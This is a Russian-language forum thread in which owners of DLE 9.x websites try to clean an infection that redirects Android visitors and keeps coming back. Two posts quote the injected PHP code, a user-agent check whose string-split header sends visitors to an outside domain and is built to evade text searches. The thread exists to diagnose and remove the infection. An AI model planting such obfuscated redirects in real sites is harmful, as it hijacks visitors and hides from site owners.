Вирус на сайте cms dle

да там была эта хрень, перед этим я все файлы проверил, убрал но ничего не изменилось

Значит у вас "дыра" до сих пор не прикрыта, читайте ветку, там выше есть решение

Мда, печаль. На одном варезнеке начал КИС орать, начал копать - почти все сайты на линейке дле 9.x с мобильным редиректом. Долгая ночка будет :(

Скопируйте решение еще разок, там много чего написано.

В январе был редирект на statuses.ws. Удалил последствия.

Сейчас он снова появился.

+ к нему такой изврат:

if(strchr($_SERVER['H'.'TTP_'.'US'.'ER_A'.'GE'.'NT'],'An'.'dr'.'oid'))
{header('Loc'.'ation: ht'.'tp:/'.'/ref'.'resh-b'.'rowse'.'r.00'.'xf'.'f.net/');die();}

Видемо сделали специально, чтобы по location, android в файлах не искался.

Список зараженных файлов:

Послушал совета badu, посмотрим, что дальше будет.

Так же заметил ещё вот эту фигню(http://pastebin.com/wjG6ZNe1) в index.php

if(strchr($_SERVER['H'.'TTP_'.'US'.'ER_A'.'GE'.'NT'],'An'.'dr'.'oid'))

{header('Loc'.'ation: ht'.'tp:/'.'/ref'.'resh-b'.'rowse'.'r.00'.'xf'.'f.net/');die();}

Патчи безопасности не помогают? Много модулей установлено? Ай-болит подозрительного не показывает?

позавчера взломали 2 сайта, поставили редирект с поисковых систем, вчера сменил движок к ДЛЕ 9.8, сегодня ночью один из двух сайтов снова взломали

Патчи не ставил. DLE 9.2.

Модулей нет.

Ай-болитом не проверял.

У меня проблем уже нет. Времени достаточно уже прошло.

а что именно помогло? можете написать все комплексные мероприятия, которые Вы сделали с Вашим сайтом...